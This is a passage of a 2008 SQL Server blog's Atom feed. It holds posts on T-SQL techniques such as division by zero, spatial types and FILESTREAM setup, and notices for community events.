0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue;"&gt;END &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'False'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;END &lt;/span&gt;= &lt;span style="color: #a31515;"&gt;'True'&lt;/span&gt;;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-1776710822397840165?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/1776710822397840165/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=1776710822397840165' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1776710822397840165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1776710822397840165'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/10/predicates-in-sql.html' title='Predicates in SQL'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-918294399499406519</id><published>2008-08-28T00:04:00.002-04:00</published><updated>2008-08-28T00:06:43.461-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><title type='text'>SQL Server 2008 Launch Event</title><content type='html'>With SQL Server 2008 just released, there is a lot of interest of what it offers. On Friday, September 12, you can hear about all the new features of SQL Server 2008 in a full day of free training brought to you by JSSUG, Idea Integration and Pragmatic Works. Each session will dive deeply into new features from a BI, DBA and developer perspective around SQL Server 2008. To resister go to &lt;a href='http://www.sqlsaturday.com' target='_blank'&gt;http://www.sqlsaturday.com&lt;/a&gt; and select the SQL Server 2008 Launch Event.&lt;br /&gt;&lt;br /&gt;I will be presenting at this event the following session:&lt;br /&gt;&lt;br /&gt; - T-SQL Enhancements in SQL Server 2008&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-918294399499406519?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/918294399499406519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=918294399499406519' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/918294399499406519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/918294399499406519'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/08/sql-server-2008-launch-event.html' title='SQL Server 2008 Launch Event'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-332706235365229440</id><published>2008-08-20T23:46:00.003-04:00</published><updated>2008-08-27T23:52:32.017-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql server'/><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><title type='text'>Code Camp</title><content type='html'>On August 23, 2008 is the Jax Code Camp IV in Jacksonville. A full day of coding and free training on different technologies: WCF, LINQ, Cold Fusion, Flex/Air, Silverlight, Ruby on Rails, .Net Compact Framework, SharePoint, SQL Server 2008, and more. To sign up and see the full schedule visit the Code Camp website at &lt;a href='http://www.jaxcodecamp.com/' target='_blank'&gt;http://www.jaxcodecamp.com/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I will be presenting three sessions:&lt;br /&gt;&lt;br /&gt; - Advanced SQL Querying Techniques&lt;br /&gt; - SQL Injection&lt;br /&gt; - SQL Server 2008 for Developers&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-332706235365229440?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/332706235365229440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=332706235365229440' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/332706235365229440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/332706235365229440'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/08/code-camp.html' title='Code Camp'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-2250172102554992831</id><published>2008-07-20T23:24:00.004-04:00</published><updated>2008-08-27T23:37:44.477-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><title type='text'>Division by Zero</title><content type='html'>Handling division by zero is a common need in SQL queries. Here is the standard way of performing a check if divisor is zero using the CASE function.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Sample table&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Foo (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;keycol &lt;span style="color: blue;"&gt;INT PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;x &lt;span style="color: blue;"&gt;INT&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;y &lt;span style="color: blue;"&gt;INT&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Foo &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;(1, 15, 3), (2, 10, 0);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Using CASE to check divisor for zero&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;keycol,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;CASE WHEN &lt;/span&gt;y = 0&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;THEN &lt;/span&gt;0&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;ELSE &lt;/span&gt;x / y&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;END AS &lt;/span&gt;result&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Foo;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;While this is a very natural way to handle this problem, here is another approach which is more compact and as effective. The method below uses the NULLIF function to set the divisor to NULL if it is zero, then since the result from the division will be NULL the COALESCE function is used to return 0.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Using NULLIF and COALESCE&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;keycol,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;COALESCE&lt;/span&gt;(x / &lt;span style="color: fuchsia;"&gt;NULLIF&lt;/span&gt;(y, 0), 0) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;result&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Foo;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-2250172102554992831?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/2250172102554992831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=2250172102554992831' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/2250172102554992831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/2250172102554992831'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/07/division-by-zero.html' title='Division by Zero'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-666897837794020474</id><published>2008-06-18T12:11:00.003-04:00</published><updated>2008-06-18T12:26:28.935-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><title type='text'>Top 10 T-SQL Enhancements in SQL Server 2008</title><content type='html'>As SQL Server 2008 is getting in the advances phases of release, a lot has been published about new features and changes. There have been a few enhancements to Transact SQL that will be a great help for both developers and administrators. Here is list of the top 10 in no particular order, with links to detailed examples. In other words:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT TOP&lt;/span&gt;(10) t_sql_enhancements&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;SQLServer2008&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;ORDER BY &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CHECKSUM&lt;/span&gt;(&lt;span style="color: fuchsia;"&gt;NEWID&lt;/span&gt;());&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt; • Delighters: &lt;a href='http://pratchev.blogspot.com/2008/04/delighters-in-sql-server-2008.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/04/delighters-in-sql-server-2008.html&lt;/a&gt;&lt;br /&gt; • Row constructors: &lt;a href='http://pratchev.blogspot.com/2008/01/table-value-constructors-in-sql-server.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/01/table-value-constructors-in-sql-server.html&lt;/a&gt;&lt;br /&gt; • MERGE: &lt;a href='http://pratchev.blogspot.com/2008/03/upsert-and-more-with-merge.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/03/upsert-and-more-with-merge.html&lt;/a&gt; &lt;br /&gt; • Composable DML: &lt;a href='http://pratchev.blogspot.com/2008/04/composable-dml.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/04/composable-dml.html&lt;/a&gt; &lt;br /&gt; • Table valued parameters: &lt;a href='http://pratchev.blogspot.com/2008/04/table-valued-parameters.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/04/table-valued-parameters.html&lt;/a&gt; &lt;br /&gt; • Filtered indexes: &lt;a href='http://pratchev.blogspot.com/2008/04/filtered-indexes.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/04/filtered-indexes.html&lt;/a&gt; &lt;br /&gt; • Sparse columns: &lt;a href='http://pratchev.blogspot.com/2008/04/sparse-columns.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/04/sparse-columns.html&lt;/a&gt; &lt;br /&gt; • Hierarchy ID: &lt;a href='http://pratchev.blogspot.com/2008/05/hierarchies-in-sql-server-2008.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/05/hierarchies-in-sql-server-2008.html&lt;/a&gt; &lt;br /&gt; • Date and Time data types: &lt;a href='http://pratchev.blogspot.com/2008/05/new-date-and-time-data-types.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/05/new-date-and-time-data-types.html&lt;/a&gt; &lt;br /&gt; • FILESTREAM data type: &lt;a href='http://pratchev.blogspot.com/2008/05/filestream-data-type.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/05/filestream-data-type.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here are a few more that did not make the list (casualty of random ordering) but are still of importance:&lt;br /&gt;&lt;br /&gt; • Spatial data (GEOMETRY and GEOGRAPHY): &lt;a href='http://pratchev.blogspot.com/2008/06/spatial-support-in-sql-server.html' target='_blank'&gt;http://pratchev.blogspot.com/2008/06/spatial-support-in-sql-server.html&lt;/a&gt; &lt;br /&gt; • Grouping Sets: &lt;a href='http://msdn.microsoft.com/en-us/library/bb522495(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb522495(SQL.100).aspx&lt;/a&gt; &lt;br /&gt; • Table hints: &lt;a href='http://msdn.microsoft.com/en-us/library/bb510478(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb510478(SQL.100).aspx&lt;/a&gt; &lt;br /&gt; • Star join query optimizations: &lt;a href='http://technet.microsoft.com/en-us/magazine/cc434693(TechNet.10).aspx' target='_blank'&gt;http://technet.microsoft.com/en-us/magazine/cc434693(TechNet.10).aspx&lt;/a&gt; &lt;br /&gt; • T-SQL debugger: &lt;a href='http://blogs.msdn.com/buckwoody/archive/2008/04/25/sql-server-2008-management-improvements-t-sql-debugger.aspx' target='_blank'&gt;http://blogs.msdn.com/buckwoody/archive/2008/04/25/sql-server-2008-management-improvements-t-sql-debugger.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-666897837794020474?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/666897837794020474/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=666897837794020474' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/666897837794020474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/666897837794020474'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/06/top-10-t-sql-enhancements-in-sql-server.html' title='Top 10 T-SQL Enhancements in SQL Server 2008'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-6306725489813919978</id><published>2008-06-03T11:23:00.000-04:00</published><updated>2008-06-18T11:29:43.907-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><category scheme='http://www.blogger.com/atom/ns#' term='geography'/><category scheme='http://www.blogger.com/atom/ns#' term='geometry'/><category scheme='http://www.blogger.com/atom/ns#' term='spatial'/><title type='text'>Spatial Support in SQL Server</title><content type='html'>SQL Server 2008 adds new spatial data types and methods for storing and handling spatial data. The two new data types are GEOMETRY and GEOGRAPHY. This new functionality provides great capabilities to process spatial data.&lt;br /&gt;&lt;br /&gt;Here is one brief example to demonstrate the GEOGRAPHY data type and one of the related methods. The code below finds if a geographical location defined by latitude and longitude coordinates is within a geographical region defined by a polygon.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@point &lt;span style="color: blue;"&gt;GEOGRAPHY&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@polygon &lt;span style="color: blue;"&gt;GEOGRAPHY&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@point = &lt;span style="color: blue;"&gt;geography&lt;/span&gt;::Parse(&lt;span style="color: #a31515;"&gt;'POINT(49.274138 73.098562)'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@polygon = &lt;span style="color: blue;"&gt;geography&lt;/span&gt;::Parse(&lt;span style="color: #a31515;"&gt;'POLYGON((47.0 90.0, 47.0 73.0, 50.0 52.0, 50.0 54.0, 47.0 90.0))'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;@polygon.STIntersects(@point);&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Additional resources:&lt;br /&gt;&lt;br /&gt;Working with Spatial Data&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb933876(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb933876(SQL.100).aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Geometry Data Type Method Reference&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb933973(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb933973(SQL.100).aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Geography Data Type Method Reference&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb933802(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb933802(SQL.100).aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Working with Spatial Indexes&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb895265(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb895265(SQL.100).aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-6306725489813919978?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/6306725489813919978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=6306725489813919978' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/6306725489813919978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/6306725489813919978'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/06/spatial-support-in-sql-server.html' title='Spatial Support in SQL Server'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-1692027287781743170</id><published>2008-05-30T18:36:00.010-04:00</published><updated>2008-09-12T00:01:35.864-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='image'/><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><category scheme='http://www.blogger.com/atom/ns#' term='filestream'/><category scheme='http://www.blogger.com/atom/ns#' term='blob'/><title type='text'>FILESTREAM Data Type</title><content type='html'>The new FILESTREAM data type in SQL Server 2008 offers a new way of storing unstructured data (images, documents, video, etc.). Up until now the two standard ways to store such data have been either in the database as BLOB objects or as files outside of the database. FILESTREAM provides the best of both worlds, storing unstructured data in the file system while maintaining transactional consistency with other structured data.&lt;br /&gt;&lt;br /&gt;Here is a summary of the new capabilities offered by FILESTREAM:&lt;br /&gt;&lt;br /&gt; • Implemented as VARBINARY(MAX)&lt;br /&gt; • No limitation of 2 GB&lt;br /&gt; • Stored in the file system&lt;br /&gt; • Fast read access&lt;br /&gt; • Good for objects larger than ~ 1 - 2 MB&lt;br /&gt; • Encryption is not supported&lt;br /&gt; • Setting to NULL deletes the BLOB data&lt;br /&gt; • Transactional consistency&lt;br /&gt; • Windows access via the OpenSqlFilestream APIs (read/write; no delete or rename)&lt;br /&gt; • Uses Windows cache, not using SQL Server buffer pool, more memory for queries&lt;br /&gt; • A ROWGUIDCOL column is required to use FILESTREAM data with Win32 APIs&lt;br /&gt;&lt;br /&gt;Enabling FILESTREAM:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;EXEC &lt;/span&gt;sp_filestream_configure &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  @enable_level = 3, &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  @share_name = "FileStreamShare";&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Levels:&lt;br /&gt;&lt;br /&gt; 0 - Disabled. This is the default value &lt;br /&gt; 1 - Enabled only for Transact-SQL access &lt;br /&gt; 2 - Enabled only for Transact-SQL and local file system access &lt;br /&gt; 3 - Enabled for Transact-SQL, local file system access, and remote file system access&lt;br /&gt; &lt;br /&gt;Creating database supporting FILESTREAM and table with FILESTREAM column:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE DATABASE &lt;/span&gt;BlobDatabase &lt;span style="color: blue;"&gt;ON PRIMARY &lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;(&lt;span style="color: blue;"&gt;NAME &lt;/span&gt;= Blob, &lt;span style="color: blue;"&gt;FILENAME&lt;/span&gt; = &lt;span style="color: #a31515;"&gt;'C:\Data\Blob.mdf'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FILEGROUP&lt;/span&gt; FSGroup &lt;span style="color: blue;"&gt;CONTAINS FILESTREAM&lt;/span&gt; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;(&lt;span style="color: blue;"&gt;NAME &lt;/span&gt;= BlobFS, &lt;span style="color: blue;"&gt;FILENAME&lt;/span&gt; = &lt;span style="color: #a31515;"&gt;'C:\Data\FileStream'&lt;/span&gt;)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;LOG ON &lt;/span&gt;( &lt;span style="color: blue;"&gt;NAME &lt;/span&gt;= BlobLog, &lt;span style="color: blue;"&gt;FILENAME&lt;/span&gt; = &lt;span style="color: #a31515;"&gt;'C:\Data\Blob.ldf'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;BlobDatabase.dbo.Images (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;image_id &lt;span style="color: blue;"&gt;UNIQUEIDENTIFIER ROWGUIDCOL&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt; &lt;span style="color: blue;"&gt;UNIQUE&lt;/span&gt;, &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;image_desc &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(35),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;image_data &lt;span style="color: blue;"&gt;VARBINARY&lt;/span&gt;(&lt;span style="color: fuchsia;"&gt;MAX&lt;/span&gt;) &lt;span style="color: blue;"&gt;FILESTREAM&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;);&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;strong&gt;Update (August 20, 2008)&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;There have been some changes in the RTM version of SQL Server 2008. To enable FILESTREAM in the release version go to SQL Server Configuration Manager, open the Properties of the instance, on the FILESTREAM tab select Enable FILESTREAM for Transact-SQL access. Then open a query and execute the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;EXEC&lt;/span&gt; sp_configure filestream_access_level, 2;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;RECONFIGURE&lt;/span&gt;;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;The stored procedure &lt;strong&gt;sp_filestream_configure&lt;/strong&gt; used in the prerelease versions has been removed. Now the &lt;strong&gt;sp_configure&lt;/strong&gt; procedure is used as demonstrated above. The new access level values are as follows:&lt;br /&gt;&lt;br /&gt; 0 - Disables FILESTREAM support for this instance (default) &lt;br /&gt; 1 - Enables FILESTREAM for Transact-SQL access &lt;br /&gt; 2 - Enables FILESTREAM for Transact-SQL and Win32 streaming access &lt;br /&gt;&lt;br /&gt;In addition, one note from the field - turning off the 8.3 name generation on the NTFS volume using the command prompt utility &lt;strong&gt;fsutil&lt;/strong&gt; helps a lot on performance.&lt;br /&gt;&lt;br /&gt;Additional resources:&lt;br /&gt;&lt;br /&gt;FILESTREAM Overview&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb933993(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb933993(SQL.100).aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Designing and Implementing FILESTREAM Storage&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb895234(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb895234(SQL.100).aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-1692027287781743170?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 